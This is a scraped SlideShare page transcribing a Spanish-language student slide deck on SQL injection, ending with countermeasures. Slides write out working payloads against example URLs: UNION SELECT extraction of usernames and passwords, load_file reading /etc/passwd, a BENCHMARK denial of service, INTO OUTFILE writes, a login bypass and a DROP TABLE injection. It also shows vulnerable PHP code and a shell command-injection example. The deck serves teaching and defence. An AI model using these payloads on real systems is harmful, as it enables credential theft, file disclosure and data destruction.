Your SlideShare is downloading. ×
Inyecciones sql para todos
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Inyecciones sql para todos

1,645

Published on

0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
1,645
On Slideshare
0
From Embeds
0
Number of Embeds
3
Actions
Shares
0
Downloads
68
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Cesar NeiraEstudiante de Ing. Sistemas
  • 2. Aula H4X0R Cesar Neira Inyecciones SQL para todosIntroducción, explotación y contramedidas.
  • 3. OWASP Top 10 2004
  • 4. OWASP Top 10 2004
  • 5. OWASP Top 10 2007
  • 6. OWASP Top 10 2007
  • 7. OWASP Top 10 2010
  • 8. OWASP Top 10 2010
  • 9. MITRE – Top 25
  • 10. MITRE – Top 25
  • 11. ¿Qué está pasando?
  • 12. ¿Qué es unaInyección SQL?
  • 13. Fallo de inyecciónUn interprete ejecutauna instrucción enviadapor la aplicación.La aplicación forma lainstrucción con entradasdel usuario.El usuario envíaentradas especialmentediseñadas para alterar elsignificado de lainstrucción
  • 14. Por ejemplo: PROGRAMA : system(“ls $dir”); ENTRADA : $dir INTERPRETE : /bin/bash $dir = “images” Instrucción: $ ls images Hacer un listado del directorio “images” $dir = “images && halt” Instrucción: $ ls images && halt Hacer un listado del directorio “images” y luego apagar el sistema.
  • 15. Lenguaje SQLStructured Query Language(lenguaje de consultaestructurado)Permite realizar diversasoperaciones sobre bases dedatos relacionales.Es interpretado por el DBMS.Existen dialectos específicospara cada DBMS.
  • 16. Ejemplos de SQLSELECT email FROM users; webmaster@example.com invitado@example.com pepito@hotmail.comSELECT username,password FROM users WHEREtype=1; admin 123456
  • 17. SQLi = Injection + SQL INTERPRETE : DBMS Error de validación de LENGUAJE   : SQL entradas. Permite alterar las consultas SQL. No es un error del DBMS. No es exclusivo de aplicaciones web.
  • 18. ¿Cómo?
  • 19. Caja Negrahttp://example.com/index.php?page=news&id=23page=news id=23 index.php
  • 20. Arquitectura SERVIDOR HTTP INTERNETCLIENTE SQL BASE DE DATOS
  • 21. User: pepito http://example.com/news.php?id=23 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23
  • 22. User: Z3r0C001-H@... http://example.com/news.php?id=23 OR 1=1 /* news.php */ ... $id = $_GET[id]; $query = "SELECT * FROM news WHERE id=$id"; ... SELECT * FROM news WHERE id=23 OR 1=1
  • 23. ¿Y qué?
  • 24. Extracción de Datos
  • 25. UNION SELECT http://example.com/news.php?id=23 AND 1=0 UNION SELECT username,password FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT username,password FROM users
  • 26. DEMO 1
  • 27. Extracción de ficheros
  • 28. LOAD_FILE() http://example.com/news.php?id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users SELECT * FROM news WHERE id=23 AND 1=0 UNION SELECT 1,load_file(/etc/passwd) FROM users
  • 29. DEMO 2
  • 30. Ataques DoS
  • 31. #RefRef
  • 32. BENCHMARK() http://example.com/news.php?id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND())) SELECT * FROM news WHERE id=23 AND 0 = BENCHMARK(999999999999,SHA(RAND()))
  • 33. DEMO 3
  • 34. File Upload
  • 35. OUTFILE / DUMPFILE http://example.com/news.php?id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt SELECT * FROM news WHERE id=23 AND 0 = 1 UNION SELECT ,Hello World! INTO OUTFILE /tmp/hello.txt
  • 36. DEMO 4
  • 37. xp_cmdshell
  • 38. MSF - webpayloads
  • 39. DEMO 5
  • 40. Login Bypass
  • 41. Login Bypass /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = admin AND password = OR =
  • 42. Por ejemplo...
  • 43. Ataque Boby Tables
  • 44. Ataque Boby Tables /* login.php */ ... $user = $_POST[username]; $pass = $_POST[password]; $query = "SELECT * FROM users WHERE username = $user AND password = $pass"; ... SELECT * FROM users WHERE username = ; DROP TABLE users;-- AND password =
  • 45. Y hay más...
  • 46. Oh, y ahora ¿Quiénpodrá defendernos?
  • 47. Validación de entradas - Expresiones regulares - Validación de tipo - Escapar caracteres especiales - Librerías de seguridad ESAPI No solo JavaScript
  • 48. ConsultasParametrizadasDefinir primero la consulta yluego pasarle los parámetros.- Prepared Statements.- Storage Procedures.
  • 49. Permisos de Acceso- Las aplicaciones nonecesitan la cuenta deadministrador.- GRANT ALL PRIV... ¿Esnecesario?- Aplicaciones diferentes,usuarios diferentes
  • 50. IDS, IPS, WAF, etc...- Sistemas de detección yprevención de intrusos.(Snort)- Web Application Firewall.(mod_security)- Reescritura de solicitudesHTTP. (mod_rewrite)- Basados en patrones.- No 100% confiables.
  • 51. Gracias por participar muy pronto estamos en provincias para más información ingresa a nuestra webEn el 2012 mucho más de nosotros… http://alguienenlafisi.blogspot.com

×